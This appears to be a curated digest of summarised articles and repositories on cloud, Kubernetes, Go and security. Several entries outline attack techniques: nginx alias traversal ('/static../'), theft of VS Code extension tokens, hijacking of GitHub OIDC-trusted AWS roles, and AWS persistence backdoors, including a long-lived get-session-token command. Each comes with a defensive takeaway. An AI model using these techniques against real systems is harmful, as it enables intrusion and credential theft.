    TL;DR: Ory blog post by founder and CTO Aeneas Rekkas (August 7, 2023) explaining why and how Ory built Ory Network as a multi-region identity and access platform.

    • Scale claim: Ory says it handles about 3 billion API requests a day across more than 11,000 production environments.
    • Stack: Built on open source plus Kubernetes, ArgoCD, Crossplane, Grafana and CockroachDB.
    • AZ vs region: Availability zones are not regions; it cites the fire that took down all three zones of GCP’s europe-west9.
    • Single-region risks: Downtime, data loss, limited disaster recovery, latency for distant users and exposure to network failures.
    • Copy-per-region anti-pattern: Running a separate stack per region causes data fragmentation and multiplies management overhead.
    • Title note: The archive title mentions Go, but the post focuses on architecture and infrastructure tooling. The URL now redirects to ory.com.

    Takeaway: A clear argument for a single logical multi-region system over independent regional copies; useful background before choosing a globally replicated database.

  • postgres_lsp: A Language Server for Postgres
    summary

    TL;DR: postgres-language-server (formerly Supabase’s postgres_lsp) is a Language Server Protocol implementation and toolchain for Postgres SQL, built on Postgres’s own parser.

    • Moved: The repo now lives at supabase-community/postgres-language-server; the old URL redirects.
    • Parser: Uses libpg_query for full compatibility with Postgres syntax.
    • Features: Autocompletion, hover, inlay hints, syntax diagnostics, type checking, formatting, migration linting, database linting and PL/pgSQL support.
    • Interfaces: LSP, a CLI, HTTP APIs and a WebAssembly module.
    • Editors: VS Code, Cursor, Neovim (nvim-lspconfig), Zed and Sublime Text.

    Takeaway: Worth adding to your editor if you write a lot of raw SQL or migrations; the CLI’s migration linting can also run in CI.

  • noir: Attack Surface Detector from Source Code
    summary

    TL;DR: Noir, by hahwul (now under the OWASP Noir project), reads source code to list an application’s endpoints and attack surface, then feeds them to DAST tools.

    • Purpose: Finds shadow APIs, deprecated endpoints and hidden routes from code instead of relying on documentation or proxy captures.
    • SAST-to-DAST bridge: Sends discovered endpoints to ZAP, Burp Suite, Caido and similar tools for more complete dynamic scans.
    • AI mode: The current README adds LLM-based analysis to detect endpoints in languages and frameworks it does not support natively.
    • Output: JSON, YAML, TOML, OpenAPI and other formats; noir -b <path> runs it on a codebase, and there is a GitHub Action.
    • Evolution: It began in 2023 as a white-box helper; the README has grown since, with news items into late 2025.

    Takeaway: Run Noir in CI before DAST so scanners test the routes that exist in code, not only those the crawler finds.

  • navgix: Multi-Threaded Golang Tool to Check for nginx Alias Traversal Vulnerabilities
    summary

    TL;DR: navgix, from Hakai Offensive Security, is a multi-threaded Go tool that checks web servers for nginx alias traversal (“off-by-slash”) misconfigurations.

    • Bug class: An nginx location without a trailing slash combined with an alias lets requests like /static../ reach the parent directory.
    • Heuristic mode: Fetches the page, pulls directory paths from src attributes and tests each level (for example /static/, /static/img/).
    • Brute-force mode: Also tries a short list of directories that commonly have the issue, then confirms.
    • Install: git clone, then go build.
    • Credits: Based on Orange Tsai’s Black Hat 2018 “Breaking Parser Logic” research and bayotop’s off-by-slash.

    Takeaway: Grep your own nginx configs for location blocks with alias and no trailing slash, and use navgix to confirm on external hosts you are authorised to test.

  • AWS Security Monitoring in 2023: Untangle the Chaos
    summary

    TL;DR: Michael Wittig of cloudonaut (August 4, 2023) groups the overlapping AWS security services into three groups and gives a minimal setup for monitoring and alerting.

    • Three groups: Sources of information (CloudTrail, Config, VPC Flow Logs, Route 53 DNS logs, Inspector, Macie, ECR scanning), best-practice and anomaly checks (Config rules, Trusted Advisor, GuardDuty, Access Analyzer), and aggregation (Security Hub, Security Lake, Detective, Audit Manager).
    • Overlap problem: Turning everything on means paying for the same check several times and getting several findings for one issue, such as a public S3 bucket.
    • Recommended set: In a delegated admin security account, enable AWS Config with 1-year retention and Security Hub with the AWS Foundational Security Best Practices standard in every used region; GuardDuty and Inspector are optional.
    • Central hub: GuardDuty and Inspector send findings to Security Hub by default, so it becomes the single place to work findings (NEW, NOTIFIED, SUPPRESSED, RESOLVED).
    • Tuning: Disable Security Hub controls you disagree with so the finding count stays low.
    • Alerting: Security Hub publishes finding events to EventBridge, which routes them to whoever is responsible.

    Takeaway: A sensible minimal AWS security monitoring baseline: Config plus Security Hub org-wide, routed through EventBridge, instead of enabling every service.

  • Application Architecture as Code
    summary

    TL;DR: Gregor Hohpe (The Architect Elevator, August 2023) argues that cloud automation is moving from infrastructure towards applications and should be judged on several dimensions, not as one tool war.

    • History: CloudFormation (2011), Terraform (2014), Pulumi (2018), AWS CDK (2019), CDK v2 (late 2021), CDKTF GA (2022), Cue, and CloudFormation ForEach (July 2023).
    • Infrastructure from Code: The 2023 trend of deriving cloud resources from application code, which can make a separate automation language unnecessary.
    • Four dimensions: Provision resources, deploy application artifacts, compose connections between components, and specify settings.
    • Factions: Infrastructure teams tend to prefer Terraform; serverless application teams lean towards CDK or IfC; each side tends to judge the other by a different task.
    • Composition focus: Wiring components together (references, ARNs) is becoming the main concern, which he links to architecture as boxes and lines.

    Takeaway: When teams argue about Terraform versus CDK, split the discussion by which automation task each tool is serving.

  • VS Code’s Token Security: Keeping Your Secrets… Not So Secretly
    summary

    TL;DR: Cycode researcher Oreen Livni shows that a malicious VS Code extension can read tokens that other extensions, and VS Code’s own GitHub and Microsoft login, keep in VS Code’s “secure” secret storage.

    • Expectation: VS Code’s SecretStorage API is meant to isolate each extension’s secrets in the OS keychain.
    • Naive approach: Patching another extension’s code (CircleCI’s in the demo) to print its token works but needs per-extension, per-version effort.
    • Scalable attack: By studying VS Code’s open source code, they built a PoC extension that retrieves other extensions’ secrets without modifying them, including GitHub and Microsoft account sync tokens.
    • Extra bug: The post says they found an additional bug along the way.
    • Org risk: Stolen tokens often belong to organisation accounts, so one bad extension can expose company systems.
    • Page note: The post was last updated August 2025 and sits on a vendor marketing page.

    Takeaway: Treat every VS Code extension as able to read all IDE-stored tokens. Allowlist extensions on developer machines and prefer short-lived, narrowly scoped tokens.

  • Mountpoint for Amazon S3: Generally Available and Ready for Production Workloads
    summary

    TL;DR: AWS News Blog post (Jeff Barr, August 2023) announcing general availability of Mountpoint for Amazon S3, an open source file client that mounts S3 buckets on Linux.

    • Scope: Aimed at large, read-heavy workloads such as data lakes, ML training, rendering, autonomous vehicle simulation and ETL.
    • Semantics: Supports sequential and random reads and sequential, append-only writes; it does not aim for full POSIX semantics.
    • Mechanics: Linux VFS calls become S3 LIST, GET and PUT requests; it is tuned to use network bandwidth well.
    • Install: RPM for Amazon Linux, then mount-s3 <bucket> <dir>; the demo builds a time-lapse GIF from webcam images with ffmpeg.
    • Update: A September 2023 update adds how to enable file deletion.
    • Not for: The post says not to use it for things like Git repositories.

    Takeaway: Good for letting file-based tools read large S3 datasets without rewriting them for the SDK. Check the write and POSIX limits against your workload first.

  • AWS Observability Accelerator for Terraform
    summary

    TL;DR: Docs page from AWS Observability Accelerator for Terraform on setting up distributed tracing on Amazon EKS with an OpenTelemetry Collector that exports to AWS X-Ray.

    • Current content: The page now describes v3 of the eks-monitoring module, which is newer than when the link was saved.
    • Profiles: self-managed-amp supports traces (toggle with enable_tracing), cloudwatch-otlp always enables them, and managed-metrics is metrics only.
    • Collector: Receives OTLP on gRPC port 4317 and HTTP port 4318, then exports to X-Ray.
    • Instrumentation: Point apps at the collector with OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector.otel-collector.svc.cluster.local:4317.
    • Example: Builds and pushes the go-sample-app from aws-otel-community to ECR and deploys it to EKS.

    Takeaway: A quick path to X-Ray tracing on EKS if you already use the accelerator’s Terraform modules; check which collector profile you run.

  • Using SBOM to Find Vulnerable Container Images Running on Amazon EKS Clusters
    summary

    TL;DR: AWS Containers blog post on generating SBOMs for every ECR image and querying them to find which EKS workloads run a newly disclosed vulnerable package.

    • Motivation: Cites Synopsys OSSRA 2023 (96% of commercial codebases contain open source; 48% had high-risk vulnerabilities) and Sonatype’s reported 742% average annual increase in supply chain attacks.
    • Generation: An EventBridge rule on ECR PUSH events triggers AWS CodeBuild, which runs Syft to create an SPDX JSON SBOM.
    • Storage: SBOMs go into an S3 bucket for analysis, mirroring how Amazon Inspector’s own SBOM export works.
    • Zero-day use: When a vulnerability like Log4Shell lands, query the SBOM inventory to find affected images and the clusters running them.
    • Scanning: Mentions Grype can scan SBOMs directly, and notes ECR events on EventBridge are best-effort.

    Takeaway: Generate and store SBOMs at push time so a zero-day becomes a query rather than a rescan of every image.

  • Hacking GitHub AWS Integrations Again
    summary

    TL;DR: Daniel Grzelak (August 3, 2023) shows how to find, at scale, AWS IAM roles that trust GitHub Actions OIDC without restricting which repository may assume them.

    • Misconfiguration: Trust policies that check only token.actions.githubusercontent.com:aud and omit the :sub repo condition let any GitHub repo assume the role.
    • Lab: Steps to create the OIDC provider and a deliberately weak role, plus a workflow using aws-actions/configure-aws-credentials and aws sts get-caller-identity.
    • Validator: A GitHub Actions matrix job that tries to assume each ARN listed in target-role-list.json.
    • Finding roles: GitHub code search gave 15 hits and Sourcegraph over a thousand; for full coverage he parses GH Archive PushEvents and commit patches to .github/workflows for role ARNs.
    • Tooling: Includes a Python “Github AWS OIDC Firehose” script that watches the GitHub events API.
    • Mitigation noted: Enterprise-scoped issuer URLs limit exposure to one organisation, but this is not the default. Bitbucket, CircleCI and GitLab use similar org-scoped OIDC setups.

    Takeaway: Audit every IAM role trusting GitHub OIDC and require a sub condition pinned to specific repos and branches.

  • What’s New for Security in Kubernetes 1.28
    summary

    TL;DR: Datadog Security Labs post by Rory McCune (August 15, 2023) on the security-relevant changes in Kubernetes 1.28, mainly Validating Admission Policy reaching beta.

    • Validating Admission Policy: Built-in admission control written in CEL, introduced in 1.26 and beta in 1.28; the alternative without third-party tools had been the less flexible Pod Security Admission.
    • Try it: Create a kind cluster with the ValidatingAdmissionPolicy feature gate and admissionregistration.k8s.io/v1beta1 enabled in runtimeConfig.
    • Verify: kubectl api-resources --api-group=admissionregistration.k8s.io -o name should list validatingadmissionpolicies and validatingadmissionpolicybindings.
    • Example: A sample policy and binding that blocks privileged containers in the default namespace.
    • Self-subject review: An API that lets users see their own identity and attributes graduates to stable.

    Takeaway: Validating Admission Policy can replace simple Kyverno or Gatekeeper rules without a webhook. Test policies in a kind cluster first.

  • ansible-role-hardening: Ansible Role to Apply a Security Baseline, Systemd Edition
    summary

    TL;DR: konstruktoid’s Ansible role applies a systemd-focused security baseline to AlmaLinux, Debian and Ubuntu servers.

    • Status: The README says the role has moved to the konstruktoid/ansible-collection-hardening collection, which is recommended for continued updates.
    • Supported OS (current README): AlmaLinux 10, Debian 13 and Ubuntu 26.04; needs Ansible 2.18+.
    • Options: Examples include kernel_lockdown, sshd_admin_net, sshd_allow_groups, per-user sshd_match_users rules and ufw_rate_limit.
    • Docs: All defaults are in defaults/main.yml and meta/argument_specs.yml; ansible-doc -t role shows them.
    • Images: Hardened Ubuntu AMIs and Azure images built with Packer and this role live in konstruktoid/hardened-images.
    • Supply chain: Provides a SLSA provenance artifact; the README warns to test in a non-production environment first.

    Takeaway: A solid starting baseline for Linux hardening in Ansible. Use the collection instead of the role and review the SSH and firewall defaults before rollout.

  • Network Load Balancers Now Support Security Groups
    summary

    TL;DR: AWS Containers blog post on the August 10, 2023 launch of security groups for Network Load Balancers and how the AWS Load Balancer Controller uses them on EKS.

    • Feature: You can attach one or more security groups to an NLB to filter which traffic it accepts and forwards.
    • Old pain: Access was controlled with rules on instance security groups, which counted against per-instance quotas and limited how many NLBs you could run.
    • Controller support: AWS Load Balancer Controller 2.6.0+ creates and applies security groups to NLBs, instances and pods that use Security Groups for Pods.
    • Benefits: Backend ingress rules can reference the NLB’s security group, and the controller keeps a constant number of rules per cluster.
    • Walkthrough: Shows how EKS Service objects of type LoadBalancer get NLB security groups.

    Takeaway: Upgrade to Load Balancer Controller 2.6.0+ and use NLB security groups so backends only accept traffic from the load balancer.

  • Measure Cluster Performance Impact of Amazon GuardDuty EKS Agent
    summary

    TL;DR: AWS Containers blog post on how the GuardDuty EKS Runtime Monitoring eBPF agent works and how to measure its overhead on your cluster.

    • Coverage: Runtime Monitoring (from March 30, 2023) adds over 30 findings from process, file and network activity inside containers and hosts.
    • Agent: Packaged as an EKS add-on and run as a DaemonSet that loads an eBPF probe; events are enriched with pod, namespace and cluster names.
    • Limits: The agent is capped at 1000m CPU and 1 GB memory.
    • Measurement: With Inspektor Gadget’s top ebpf gadget, a 4-second trace showed the agent called 525 times with just over 1 ms of runtime; kubectl top also shows usage.
    • Findings: Filter by resource type EKSCluster in the GuardDuty console; automate response with EventBridge or Security Hub custom actions.

    Takeaway: Before rolling the agent out fleet-wide, measure it on a representative node with Inspektor Gadget, since the post notes results depend on workload.

  • How Chick-fil-A Provides Observability for 2,800+ K8s Clusters
    summary

    (Could not fetch full text.)

    TL;DR: Brian Chambers and Alex Crane (Chick-fil-A Tech, August 2023) describe how Chick-fil-A collects metrics and logs from edge Kubernetes clusters in about 2,800 restaurants.

    • Fleet: One edge Kubernetes cluster per restaurant runs business-critical workloads without depending on the internet, plus hundreds of thousands of IoT devices (fryers, grills, tablets) sending billions of MQTT messages a month.
    • Constraints: Too many logs to ship everything to the cloud. Early verbose logging used up store bandwidth and even hurt credit card processing. Metric cardinality across 2,800 sites gets expensive.
    • Metrics first: They push teams from log-derived metrics towards “first-class metrics”, which give health context with less data. HTTP status metrics matter less because most apps speak MQTT.
    • Pipeline: Prometheus scrapes pod /metrics endpoints and an edge Vector instance forwards the data to a cloud Vector instance, which routes it to each team’s chosen tools.
    • Mixed streams: Where tools combine logs and metrics, a sidecar scrapes metric tags from logs and forwards them to Vector.
    • Source caveat: Medium blocked direct fetches; this summary is based on a Wayback Machine snapshot of the article, of which only the first part, through metrics and the start of the logs section, was read.

    Takeaway: At the edge, bandwidth and cardinality are hard limits. A routing pipeline such as Vector plus a metrics-first policy keeps observability from competing with production traffic.

  • EKS Node Autoscaling with Large Container Images and a Warm Pool
    summary

    (Could not fetch full text.)

    TL;DR: Matt Kornfield (Better Programming, August 2023) describes trying to speed up EKS autoscaling for GPU workloads with 3-4 GB CUDA images by using an ASG warm pool.

    • Problem: Pulling a 3-4 GB image from private ECR took a minute or two, and with EC2 start time nodes needed 2-3 minutes to be ready.
    • Part 1, pull in warm pool: Pre-pulling images in user-data (with crictl) when instances enter the warm pool had previously caused corrupted images and widespread failures, so the team would not turn it back on.
    • Part 2, reuse on scale-in: Enabling the ASG “reuse on scale in” setting (supported in the Terraform provider) had no effect, because Cluster Autoscaler does not support warm pools and terminates nodes instead.
    • Part 3: The article goes on to the SOCI snapshotter as an alternative; that section is behind the Medium member paywall.
    • Source caveat: Direct fetches were blocked; this is based on the public, pre-paywall portion of a Wayback Machine snapshot.

    Takeaway: Warm pools do not work with Cluster Autoscaler on EKS. For large images, look at lazy-loading (SOCI) or pre-baked volumes instead.

  • An Introduction to Deploying Your Database on Kubernetes
    summary

    TL;DR: An introductory Hashnode post explaining the Kubernetes basics for running a database: persistent storage and StatefulSets.

    • Deployments: Suited to stateless apps; pods get random names and share storage, which causes inconsistency if several database replicas write to the same storage.
    • Storage: Explains StorageClass, PersistentVolume (cluster-wide) and PersistentVolumeClaim (namespaced) so data outlives pods.
    • StatefulSet: Gives each pod a stable ordinal name (podname-0, -1) and its own PVC and PV.
    • Ordering: Pods start one after another, and each new replica syncs from the previous one.
    • Primary/replica: Describes one read-write primary pod and read-only replicas to avoid write conflicts.

    Takeaway: A beginner primer. For production databases, use an operator that handles replication, failover and backups rather than a bare StatefulSet.

  • Architecting Kubernetes Clusters: Choosing a Worker Node Size
    summary

    TL;DR: Daniele Polencic (Learnk8s, now LearnKube, updated August 2023) weighs fewer large worker nodes against many small ones for a Kubernetes cluster of the same total capacity.

    • Reserved resources: Kubelet and OS reservations shrink as a share on larger nodes, for example 6% of the first core and 25% of the first 4 GB of memory, plus a 100 MB eviction threshold.
    • Worked example: On an 8 GB, 2 vCPU node only about 75% of memory is left for pods; a 4 vCPU, 32 GB node fits 13 replicas of a 300m/2 GB pod (CPU-bound).
    • Efficiency: Large nodes waste less to reservations and fragmentation; per-node DaemonSets (kube-proxy, log agents, CSI drivers) are a fixed cost on every node.
    • Resilience: Few nodes limit how widely replicas can spread, and losing one large node has a bigger blast radius.
    • Other factors: Scaling increments and lead time, image pulls, kubelet and API server load, and per-node pod and volume limits.
    • Moved: The URL now redirects to learnkube.com.

    Takeaway: There is no single right size. Medium-to-large nodes are usually more efficient, but keep enough nodes for replica spread and acceptable failure impact.

  • komoplane: Crossplane Troubleshooting Tool by Komodor
    summary

    TL;DR: komoplane is an experimental open source tool from Komodor that visualizes Crossplane resources to help with troubleshooting.

    • Goal: Show the structure of control plane resources (claims, composite resources, managed resources) to speed up debugging.
    • Install: Helm chart from https://helm-charts.komodor.io, via helm upgrade --install komoplane komodorio/komoplane.
    • Access: Web UI on port 8090 (configurable through extraArgs); port-forward to the pod.
    • Local mode: A standalone binary runs against your kubeconfig; set KUBECONTEXT to choose the context.
    • Related: Sibling of Komodor’s Helm Dashboard and validkube.

    Takeaway: Useful when Crossplane composition trees get hard to follow with kubectl. Treat it as an experiment, not a supported product.

  • wrongsecrets: Vulnerable App with Examples Showing How Not to Use Secrets
    summary

    TL;DR: OWASP WrongSecrets is a deliberately vulnerable application whose challenges teach how secrets leak and how not to manage them.

    • Content: Real and fake secrets hidden in code, configuration, Docker images and cloud deployments; each challenge shows a different leak path.
    • Quick start: docker run -p 8080:8080 -p 8090:8090 jeroenwillemsen/wrongsecrets:latest-no-vault, then open localhost:8080; a Heroku demo also exists.
    • Advanced tracks: Kubernetes and Minikube, HashiCorp Vault exercises, and cloud challenges on AWS, GCP and Azure.
    • Learning goals: Common secrets management mistakes, finding exposed credentials, secret detection tools and best practices.
    • Hosting: Can also run on Render and Railway.

    Takeaway: Good for team training or for testing whether your secret scanners catch realistic leaks. Run it in isolated environments only.

  • Google Workspace Will Require Two Admins to Sign Off on Critical Changes
    summary

    TL;DR: BleepingComputer (Sergiu Gatlan, August 23, 2023) reports new Google Workspace controls against social engineering and account takeover, led by multi-party approval for sensitive admin actions.

    • Multi-party approval: A sensitive change by one admin must be confirmed by another; at launch it covered only 2-Step Verification settings changes, with preview planned in the following months.
    • Mandatory 2SV: Select admin accounts at resellers and the largest enterprise customers will have to use 2SV in a phased rollout; Google cites a 50% drop in compromised accounts with 2SV.
    • Gmail AI defenses: Extended to sensitive actions such as filter creation and forwarding, in preview.
    • Chronicle export: A faster path for exporting Workspace logs to Google’s Chronicle security operations suite.

    Takeaway: Turn on multi-party approval and enforce 2SV on all Workspace admins, since a compromised admin account has outsized impact.

  • Shipping RDS IAM Authentication (with a Bastion Host and SSM)
    summary

    TL;DR: Rami McCarthy documents how he set up RDS IAM database authentication for a private RDS instance reached through a bastion host and SSM Session Manager port forwarding.

    • Steps: Enable IAM DB auth, create IAM roles with rds-db:connect plus port-forwarding permissions, add IAM-enabled database users, and document the connection commands.
    • Zero downtime: Enabling it via Terraform’s iam_database_authentication_enabled was zero-downtime; CPU rose from about 10% to 20% for under 5 minutes in his test.
    • Expected warnings: max_wal_senders and rds.logical_replication parameter messages after restart are normal.
    • IAM policy: A sample Terraform policy scopes ssm:StartSession to the bastion and the AWS-StartPortForwardingSessionToRemoteHost document, and limits terminate and resume to the caller’s own sessions.
    • DB user: CREATE USER db_userx; GRANT rds_iam TO db_userx;
    • Connect: Get the endpoint, start an SSM port-forwarding session, generate an auth token and connect with psql (using aws-vault).

    Takeaway: A copyable recipe for passwordless, IAM-controlled access to private databases with no SSH or public endpoint.

  • basti: Securely Connect to RDS and Other AWS Resources in a VPC with No Idle Cost
    summary

    TL;DR: Basti is a CLI that gives you SSM Session Manager port forwarding to RDS, Aurora, ElastiCache and other private VPC resources, and manages the bastion EC2 instance for you.

    • Moved: The repository now lives at basti-app/basti.
    • How it works: Creates a small bastion instance in the target’s VPC, uses Session Manager port forwarding, and stops the instance when idle, so the cost is mostly a stopped instance.
    • Security: No SSH keys and no inbound internet access; access is fully controlled by IAM.
    • Usage: basti init (once per target), basti connect, then use localhost:<port>, for example psql -h localhost -p 5432; basti cleanup removes the resources.
    • Install: brew install basti or npm install --global basti.
    • Teams: Shared config files, automatic mode for CI, IaC support, minimal IAM permission docs and usage auditing.

    Takeaway: An easy way to drop SSH bastions and VPNs for occasional database access; pair it with IAM DB auth for keyless access end to end.

  • Kubernetes Validating Admission Policies: A Practical Example
    summary

    TL;DR: Kubernetes blog post by Craig Box and Ben Hirschberg of ARMO (March 30, 2023) showing how Kubescape ported its controls to CEL-based ValidatingAdmissionPolicies.

    • Webhook problems: Webhooks must run as a production service, must fail open or closed, and add latency to admission.
    • VAP: Introduced as alpha in 1.26, Validating Admission Policies are declarative, run in the API server and use CEL, which is sandboxed and runs in microseconds.
    • Kubescape: Its controls were written in Rego for OPA; the team ported them to CEL so findings can be enforced at admission.
    • Example: Control C-0017 denies containers without readOnlyRootFilesystem: true, with separate expressions for Pods, workload templates and CronJob jobTemplates.
    • Version safety: matchConstraints converts requests to the matched API version, so new API versions cannot bypass the rule.
    • Age note: The page carries Kubernetes’ “more than one year old” warning; the example uses the v1alpha1 API.

    Takeaway: Kubescape’s library is a ready set of CEL policies; adapt them to the GA admissionregistration.k8s.io/v1 API on current clusters.

  • Pivoting Clouds in AWS Organizations Part 2: Examining AWS Security Features and Tools for Enumeration
    summary

    TL;DR: NetSPI’s Scott Weston (March 7, 2023), in part 2 of a series on pentesting AWS Organizations, covers organization features that attackers can abuse after compromising one account, plus a Pacu enumeration module.

    • Account Management phishing: With trusted access for AWS Account Management enabled, a compromised management account can change member accounts’ contact details to support social engineering.
    • Delegated policies: A November 27, 2022 feature lets delegated administrators manage Organizations policies; if granted too broadly, they could remove restrictive SCPs from their own or other accounts.
    • Pacu module: He added AWS Organizations support to Pacu and an organizations__enum module (PRs 326 and 335); view results with data organizations, including a graph.
    • Member accounts: Without delegation, the module still shows the basic organization description.
    • Defense: None of this is a zero-day; the root cause is misconfiguration of trusted access and delegation.

    Takeaway: Audit which services have trusted access and what delegated admins can change; treat the management account and its delegates as tier 0.

  • Building Docker Images Smaller, Rootless and Non-Shell for Kubernetes
    summary

    TL;DR: Robert Nemet (DEV, April 2023) walks through shrinking a Go service image and making it run as non-root with no shell, for Kubernetes.

    • Starting point: A multi-stage build on debian:buster produced a 133 MB image running as root with a shell available.
    • Scratch: Moving the final stage to FROM scratch breaks the app until it is built static with CGO_ENABLED=0.
    • Strip: -ldflags="-s -w" removes debug info; the image went from 133 MB to 19.1 MB and then 13 MB.
    • Non-root: Run useradd -u 10001 appuser in the builder, copy /etc/passwd into scratch, set USER appuser and COPY --chown.
    • Trade-offs: Explains when cgo is needed and when a distroless or similar base is a better fit than scratch.
    • Build caching: Uses docker buildx with registry --cache-to and --cache-from.

    Takeaway: For Go services, a static binary on scratch or distroless, running as a fixed UID, is easy and shrinks the attack surface.

  • Methods to Backdoor an AWS Account
    summary

    TL;DR: Fawaz Masood Qureshi (Mystic0x1, August 20, 2023) lists ways an attacker with admin access can keep persistence in an AWS account.

    • Access keys: Add a second key to an existing privileged user with iam:CreateAccessKey (users can have two active keys), or create a new admin user.
    • Temporary credentials: aws sts get-session-token --duration-seconds 129600 gives 36-hour credentials that keep working after the long-term key is revoked.
    • AssumeRole: Create or modify a role whose trust policy allows assumption from an external, attacker-controlled account.
    • Security groups: Open inbound rules to keep network access.
    • EC2: Use user data scripts and SSM send-command to run code on instances.
    • Context: Follows the author’s two-part AWS privilege escalation series.

    Takeaway: Use it as a detection checklist. Alert on new access keys, GetSessionToken with long durations, trust policy changes to external accounts, user data edits and unexpected SSM commands.

  • Container Security Fundamentals Part 5: AppArmor and SELinux
    summary

    TL;DR: Part 5 of Rory McCune’s container security fundamentals series at Datadog Security Labs covers AppArmor and SELinux as mandatory access control layers for containers.

    • MAC vs DAC: MAC rules apply even to root (unless root disables MAC entirely); Debian-family systems default to AppArmor, Red Hat-family to SELinux.
    • AppArmor: sudo aa-status shows profiles; Docker applies docker-default, which is compatible but not tight.
    • Custom profile: A profile with deny /etc/** wl, loaded via apparmor_parser -r and applied with --security-opt "apparmor=docker-block-etc" blocks writes to /etc even as root.
    • SELinux: Covers targeted vs mls policy, enforcing/permissive/disabled modes and viewing labels with -Z (for example container_runtime_t).
    • Container policy: Under SELinux, a container with a bind-mounted home directory cannot write to it even as root; --security-opt label:disable removes that protection.

    Takeaway: Leave the default profiles on, never disable labels to “fix” permissions, and write custom profiles for high-risk workloads.

  • Backward Compatibility, Go 1.21, and Go 2
    summary

    TL;DR: Russ Cox’s Go blog post (August 14, 2023) explains how Go keeps its Go 1 compatibility promise, the GODEBUG mechanism formalized in Go 1.21, and that a breaking Go 2 will never happen.

    • API checking: Exported APIs are recorded in files such as go/api/go1.21.txt, and a test fails on any unrecorded change.
    • Testing: Development Go builds are tested against all of Google’s internal Go code before becoming its production toolchain.
    • Subtle breaks: Examples include untagged struct literals breaking when net.TCPAddr gained Zone, and nanosecond time.Now precision breaking round-trip tests, plus output, input and protocol changes.
    • GODEBUG: Behaviour changes that may break programs get a GODEBUG opt-out, kept for at least two years (four releases), with /godebug/non-default-behavior/<name>:events runtime metrics.
    • Go 2: “There will not be a Go 2 that breaks Go 1 programs”; the Go team will keep prioritizing compatibility.

    Takeaway: Upgrade Go toolchains with confidence, use tagged struct literals (go vet warns), and reach for GODEBUG settings when a new release changes behaviour.

  • RIP AWS Go Lambda Runtime
    summary

    TL;DR: Mark Wolfe (August 9, 2023) criticizes AWS’s deprecation of the go1.x Lambda runtime, then scheduled for December 31, 2023, in favour of the provided.al2 custom runtime.

    • Migration: No automated path; each function must be repackaged by hand.
    • Gotcha 1: The custom runtime ignores the Handler setting but still requires it; the binary must be named bootstrap in the zip root.
    • Gotcha 2: Lambda does not check that bootstrap exists at deploy time, so you get Runtime.InvalidEntrypoint “Couldn’t find valid bootstrap(s)” at invoke time.
    • Visibility: Go disappears as a named runtime in the console and becomes indistinguishable from Rust or other custom runtimes; old samples stop working.
    • Suggestions: AWS could ship a go1.al2 runtime like java8.al2, and validate packages for bootstrap on deploy.

    Takeaway: Build Go Lambdas as bootstrap for provided.al2 or provided.al2023, and add a CI check that the zip contains it.

  • Avoiding Pitfalls in Go
    summary

    TL;DR: DoltHub blog post (August 16, 2023) on Go pitfalls the Dolt team hit, aimed at programmers coming from C++ or Java.

    • Range: for v := range slice gives the index, not the element; with an []int this compiles silently and prints 0..n-1.
    • Multiple returns: They are not tuples; you cannot store, index or mostly pass them as a value, and mixing := and = on the left-hand side causes subtle shadowing bugs.
    • Type embedding: Embedding is not inheritance, which leads to surprises with method resolution.
    • Value receivers: Methods with value receivers operate on copies, so mutations are lost.
    • Nil: Covers nil pitfalls, including interfaces holding typed nil values.
    • Source: Every example is one the author says they personally hit.

    Takeaway: A short list to share with engineers new to Go. Most of these bugs compile cleanly, so linters and reviews need to watch for them.

  • Advanced Go Concurrency
    summary

    TL;DR: Encore blog post by André Eriksson (February 18, 2020) on the higher-level concurrency primitives in golang.org/x/sync and related patterns.

    • Basics recap: Goroutines, channels, context for cancellation, and sync and sync/atomic.
    • singleflight: group.Do(key, fn) collapses concurrent calls for the same key into one, for example one DB query shared by many requests for the same city’s weather; the third return value says whether the result was shared.
    • errgroup: Like sync.WaitGroup but returns the first error from tasks started with group.Go, then group.Wait().
    • Bounded concurrency: Uses semaphores, including the weighted semaphore package, to cap how many goroutines run at once.
    • Date note: Saved in 2023, but the post is from 2020; the packages it covers are still current.

    Takeaway: Reach for singleflight against cache stampedes and errgroup for fan-out with error handling before writing your own WaitGroup and channel code.

  • How to Develop a Great CLI with Go
    summary

    TL;DR: Alex Ellis (actuated, August 22, 2023) shares lessons from building Go CLIs such as faas-cli, arkade, k3sup, actions-usage and actuated-cli.

    • Start small: faas-cli began with Go’s built-in flag package and moved to Cobra once it needed sub-commands like faas-cli secret list/create/delete.
    • Less typing: actuated-cli dropped the --owner flag by working out which enrolled organizations the user is authorized for, and takes the host as a positional argument.
    • Auth: Instead of hand-made PAT files, actuated-cli auth obtains and stores a token as gh auth does; Cobra’s Changed() lets explicit --token flags override the default.
    • JSON output: A --json flag for piping into jq that also exposes fields the table output hides.
    • SSH debugging: Covers the CLI’s support for actuated’s SSH gateway to debug CI jobs.
    • Moved: The URL now redirects to actuated.com.

    Takeaway: Ship an MVP, add sensible defaults that remove flags, store auth once, and always offer --json.

  • Getting into AWS Cloud Security Research as a n00bcake
    summary

    TL;DR: Daniel Grzelak (August 29, 2023) gathers advice from AWS security researchers on how to start doing AWS cloud security research.

    • Process: Build things in AWS before breaking them and debug what fails (Christophe Tafani-Dereeper); script your manual work (Scott Piper’s CloudMapper and Parliament started this way); avoid the web console.
    • Practice targets: flAWS, flAWS 2 (attacker and defender paths), Rhino Security Labs’ CloudGoat and Bishop Fox’s CloudFoxable.
    • Write: He traces his advisory work, speaking and later roles back to three 2016 blog posts on hacking AWS.
    • Habits: Learn from experts, befriend engineers, stay ethical and get the reps in.
    • Focus areas: Trawl AWS docs, decompose Boto3 and other SDKs, look for API discrepancies and undocumented APIs, target AWS open source, probe shared responsibility, monitor changes and enumerate.

    Takeaway: A practical roadmap for newcomers: practise in deliberately vulnerable labs, then mine SDK definitions and docs for inconsistencies, and publish what you find.

  • Web AppSec Interview Questions
    summary

    TL;DR: Tib3rius’s page collects 61 web application security interview questions with hidden answers, originally posted as a social media series.

    • Format: Answers are hidden by default so you can practise; the author notes they are his answers, not complete ones.
    • Difficulty: Most questions are deliberately hard and focus on web app hacking.
    • Examples: Web cache deception vs poisoning; the two conditions for session fixation; Base64 vs Base64URL; five or more XSS types; boolean error-based blind SQLi.
    • More topics: Same-Origin Policy, TE.TE request smuggling, JWK vs JKU in JWTs, Sec-WebSocket-Key, CSP unsafe-inline, and CRLF injection.
    • Detail: Answers include payload examples such as CASE expressions with divide-by-zero to force errors.

    Takeaway: Good interview prep and a self-check for pentesters; also usable as a question bank when hiring AppSec engineers.

